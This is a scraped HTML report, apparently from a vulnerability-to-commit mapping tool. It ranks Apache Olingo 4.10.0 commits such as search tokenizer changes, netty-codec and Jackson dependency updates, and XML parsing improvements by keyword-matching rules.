    • - - lib/server-api/src/main/java/org/apache/olingo/server/api/serializer/SerializerException.java - - lib/server-core/src/main/java/org/apache/olingo/server/core/uri/UriHelperImpl.java - - lib/server-core/src/main/resources/server-core-exceptions-i18n.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1417]Serach query to support + - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1df2f4aa67e9ed5c3cc10f3abc65f9e1fd7ee042 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: server
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1417
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1417]Serach query to support +
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/server-core/src/main/java/org/apache/olingo/server/core/uri/parser/search/SearchTokenizer.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1417]OData V4: Adopt search option based on new V4 abnf - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - dfe1dd288c4f706a91b59a620f30c0c60b2ce1d7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: server
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1417
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1417]OData V4: Adopt search option based on new V4 abnf
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/server-core/src/main/java/org/apache/olingo/server/core/uri/parser/search/SearchTokenizer.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1414] Updated netty-codec to 4.1.43.Final - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_LINKED_BUG - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 356cdbd3d8b95b2aa7bbc7b3114516c3c2eb30ce -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The bug tracking ticket OLINGO-1414 contains some security-related terms: vulnerability
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1414
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1414] Updated netty-codec to 4.1.43.Final
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1408] Fix tests - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 636fdde13dda35d9decae1768d9846f04bb355d9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: server
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1408
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1408] Fix tests
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/server-tecsvc/src/main/java/org/apache/olingo/server/tecsvc/data/DataCreator.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #59 from artem-smotrakov/better-xml-parsing... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3cf93d5e061bad59b57c7ccd938fad8ba1a187b0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: request
      -
    • - -
    • -
      The commit message references some github issue: 59
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #59 from artem-smotrakov/better-xml-parsing Better XML parsing
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1407] Updated dependency versions - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 85d660c6d87e9a45493bc29306bd6d065af8a88e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1407
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1407] Updated dependency versions
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1407] Updated Jackson version - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ae416b56094b046a6c9882c67b7fb268b56f1644 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1407
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1407] Updated Jackson version
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1406] Added scm link - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ba36402dede2b3a9ef5e58a91866567efa9b41f8 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1406
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1406] Added scm link
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1408] Minor change to fix tests - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ec603917e5cc7bc5c8caf917435ec890b632fd84 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1408
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1408] Minor change to fix tests
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDateTimeOffset.java - -
    • -
    - - - -
    -
    -
    - -
    -
    -
    -
    -
    - - - - - - - - - - \ No newline at end of file